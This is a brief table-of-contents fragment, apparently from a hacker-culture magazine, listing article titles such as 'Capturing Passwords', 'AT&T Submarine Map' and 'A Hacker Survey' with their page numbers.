FBI REVEALED . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .9 .

CAPTURING PASSWORDS . . . . . . . . . . . . 10
AT&T SUBMARI N E MAP . . . . . . . . . . . . . . . . . 11
LETTERS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
A HACKER SURVEY . . . . . . . . . . . . . . . . . . . . . . . . . 15
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